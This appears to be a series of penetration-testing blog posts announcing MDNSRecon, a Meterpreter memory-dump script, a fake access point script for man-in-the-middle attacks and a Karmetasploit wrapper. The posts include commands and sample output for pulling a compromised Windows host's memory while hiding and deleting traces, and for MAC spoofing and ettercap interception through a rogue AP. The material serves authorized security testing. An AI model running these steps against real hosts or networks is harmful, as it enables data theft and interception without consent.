MDNSRecon

Recently I was chatting with my good friend Elliot Cutright also known in twitter as @nullthreat about the recent changes I have been doing to DNSRecon and several of the improvements. He commented that he would miss the MDNS enumeration feature I had on it originally. Do to my move of supporting Python 3.x and supporting Python 2.x and above for the tool I had to drop that feature in addition that library I used for it was abandoned by the author for quite some time. MDNS is a great way to find all sorts of information about hosts in your same subnet specially since the MDSN records act as regular DNS SRV records where we get Service name that most times include the protocol and name, Target for the service, Port and a text field with additional information. In addition to this one can resolve the hosts to their IPv4 and IPv6 addresses.

Based on the request I wrote a Ruby script that leveraged the tool avahi-browser and set as my goals for the script:

  • Detect most of the supported MDNS Records in the local subnet the attacker is connected on.
  • Do not resolve those services running on the attackers machine.
  • Make sure that the out put was useful and easy to parse and manipulate for a tester.

The resulting script I called MDNSRecon and can be downloaded from my GitHub account at https://github.com/darkoperator/MDNSRecon 

root@bt:~# ./mdnsrecon.rb -h
MDNSRecon Script by Carlos Perez (carlos_perez[at]darkoperator.com)
Version 0.1
Usage: mdnsrecon.rb [OPTION]
--help, -h:
show help
--csv <file>, -c <file>:
CSV File to save records found.
--grep, -g:
Output grepable Output with a delimiter of \
<service>\domain\host\IP\port\txt
If no option is given it will print records found to standard output.

If ran with no option we get output similar to this one if machines are available:

root@bt:~# ./mdnsrecon.rb 
[-] Records found:
[*] Host: bt.local
[*] IP: 192.168.192.128
[*] Port: 9
[*] Service:Workstation
[*] Text:''
[*]
[*] Host: ubuntu.local
[*] IP: 192.168.192.129
[*] Port: 9
[*] Service:Workstation
[*] Text:''
[*]
[*] Host: ubuntu.local
[*] IP: 192.168.192.129
[*] Port: 22
[*] Service:_udisks-ssh._tcp
[*] Text:''
[*]

If We want the output in a grepable format we use the -g options so the cut command and grep can be used to better find targets, in this example we will look for SSH services:

root@bt:~# ./mdnsrecon.rb -g | grep ssh |cut -d '\' -f4,5 --output-delimiter=" " -n
192.168.192.129 22

Now in the case we want to save the results in a format we can email someone or parse a larger set of results like those you can find on a conference floor ( or so I was told) you can select to save to a CSV file and later user a spreadsheet program or PowerShell on Windows to parse and slice:

root@bt:~# ./mdnsrecon.rb -c lab.csv
[-] Saving found records to lab.csv
[*] 3 Records saved
root@bt:~# cat lab.csv 
service,domain,host,ip,port,txt
Workstation,local,bt.local,192.168.192.128,9,''
_udisks-ssh._tcp,local,ubuntu.local,192.168.192.129,22,''
Workstation,local,ubuntu.local,192.168.192.129,9,''

So far I'm only supporting Debian, Ubuntu and Backtrack 5 as the platforms to run the script on, recommending Backtrack 5 as the preferred one. I will add other distributions of Linux depending on the amount of requests I get. I do hope you find the script useful and as with any of my projects feedback and feature request are always welcomed.

Meterpreter Memory Dump Script

A couple of weeks ago my friend Mubix sent me an email with the idea of dumping a targets memory for analysis and information extraction and if I could write a Meterpreter script for it, I did a small run of some ideas and like any geek with ADD I started but never finished the script. But after hearing Pauldotcom podcast episode 142 and saw the same idea that Mubix and I had discussed in the great technical segment by Marcus J. Carey from DojoSec. I decided to finish the script.  This Meterpreter script differs from other scripts I have written in that it requires a tool that is not built in Meterpreter or part of the target OS, it requires Man Tech Memory DD for imaging the target machine memory, this tool works on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. For the execution of this script the mdd.exe must be downloaded and placed in the data directory of  your Metasploit installation, in the case of BT4 this is in /pentest/exploits/framework3/data then the script is downloaded and placed in the Meterpreter script directory

cd /pentest/exploits/framework3/scripts/meterpreter/
wget http://www.darkoperator.com/memdump.rb

Now that we have downloaded the script it can be used with the Meterpreter payload in a compromised windows target host.  Once and exploit or client side attack is executed where we get a running Meterpreter session we can use this script. The options for the script are as follows:

meterpreter > run memdump -h
Memory Dumper Meterpreter Script
OPTIONS:
    -c        Check Memory Size on target. Image file will be of this size
    -d        Dump Memory do not download
    -h        Help menu.
    -t <opt>  Change the timeout default 5min. Specify timeout in seconds
meterpreter > 

The first step would be to check the memory size of the target host to now what is the size of the physical memory this will let us know the size of the image that will be created, this is achieved by running the script with the –c option:

meterpreter > run memdump -c
[*] Checking the memory size of the target machine ......
[*] The size of the image will be the same as the amount of Physical Memory
[*] Total Physical Memory:     383 MB
meterpreter > 

The main reason we want to know this is for when we transfer that image, on a MS SQL server or Exchange server this may be several Gigabytes in size, especially since most modern servers come with 4GB as their minimum memory size.

To execute a full run with Download we execute the script in the following manner:

meterpreter > run memdump
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\04522.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\85281.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
[*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.785281
[*] Finished downloading memory image
[*] Deleting left over files...
[*] Memory image on target deleted
meterpreter > 

The script will perform the following:


  • Upload mdd.exe to the path of the %TEMP% variable of the process under witch the Meterpreter session in running.
  • The name will be a random generated number for obfuscation.
  • It will dump the memory with a name of a random generated number also for obfuscation and for avoiding collision of files when multiple exploits and instances of the script are ran on the target machine.
  • It will delete the mdd.exe on the target host.
  • It will Download the image to the .msf3/logs/memdump/<target host ip><random number>
  • Delete the memory image on the target host.

If the memory size is very big and the pentester wishes to use another method for downloading the image, only a dump can be executed:

meterpreter > run memdump -d
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\35194.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\63258.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
meterpreter >

The default timeout for the execution and for the download of the file is of 5 minutes (300 seconds) this can be altered with the –t option and a value in seconds is given.

Once the image is downloaded it can be analyzed locally using Volatility Framework, more info about this can be found in the Pauldotcom wiki show notes for episode 142. I hope that you find this script useful and thanks to Mubix for having the mischievous idea that lead to the writing of this script.

Backtrack 4 will be based in Ubuntu

It has been confirmed by Muts that Backtrack4 will be a full distro and based on Ubuntu and the beta for the distribution will be out soon.
http://backtrack4.blogspot.com/

This will make the life of many penetration testers and consultants much easier, specially for keeping their machines up to date, specially since for many attacks and techniques one has to "Hack Naked" with out a firewall. I'm really looking forward to the beta so I can start updating my scripts for the new distribution.


Script for generating Fake AP with Kama Functionality for MITM Attacks

the Script will launch depending on the options a valid routed AP in karma mode, it will capture all packets and will launch ettercap. You can choose if you use Airbase-ng or the Madwifi drivers with Digininja's Karma Patch and HD's additions, this is the default madwifi drivers in Backtrack3. Aircrack-ng must be upgraded to the latest development version for the script to work with the Airbase-ng functionality. I hope you guys like it.

/mitmap.tar.gz


bt ~ # ./mitmap.sh
Scritp for launching Fake AP to perform Man in The Middle Attack
By Carlos_Perez[at]darkoperator.com
Ver 0.1.1
Usage:
./mitmap.sh -m mode -i wireless interface -o internet interface

Modes:

ap :Access Point using Airbase-ng
apf :Access Point using Airbase-ng and MAC Filtering
apa :Access Point using Digininja patched Madwifi kernel modules
apaf :Access Point using Digininja patched Madwifi Kernel modules and MAC filtering

Options:

-s ssid :SSID to use for the Fake AP
-f text file :text file containing MAC addresses to use as filter one per line
-d dhcpd conf :Dhcpd configuration file
-h : This help message

bt ~ # ./mitmap.sh -m ap -s Danger -d ./dhcpd.conf -i ath0 -o eth0
Changing MAC Address
Current MAC: 00:40:96:af:47:65 [wireless] (Cisco AIR-PC4800, 350, AIR-PCM340, AIR-PCM352)
Faked MAC: 00:01:1e:b7:a7:1f (Precidia Technologies, Inc.)
starting fake ap
This will take 15 seconds ..............
Changing MTU Size for At0 to 1400
DHCPD started succesfully
Starting Packet capture to /root/apmitm-Jan-02-09-010919.cap

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on at0... (Ethernet)

at0 -> 00:01:1E:B7:A7:1F 10.0.0.1 255.255.255.0

Privileges dropped to UID 0 GID 0...

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Karmetasploit Script for Bactrack 3

I decided to write a small script to help me with running Karmetasploit during authorized pentest. The script has two options one where it runs as a greedy access point answering all request and a second option that uses a file with a MAC addresses as filters so as to limit the attack to those clients that one is authorized, the MAC addresses have to be one by line. I hope you find it useful.

Karmetasploit Script Download

You must have the latest version of Aircrack-ng 1.0 from svn and the latest patched versions of the drivers of the wireless cards, the cards must support injection. I have only been able to test it with atheros and ralink cards. It will generate the following files:

  • Capture file of all traffic /root/kms.cap
  • Log file /msf3/karma.log
  • Sqlite3 Database with all information from Metasploit /root/karma.db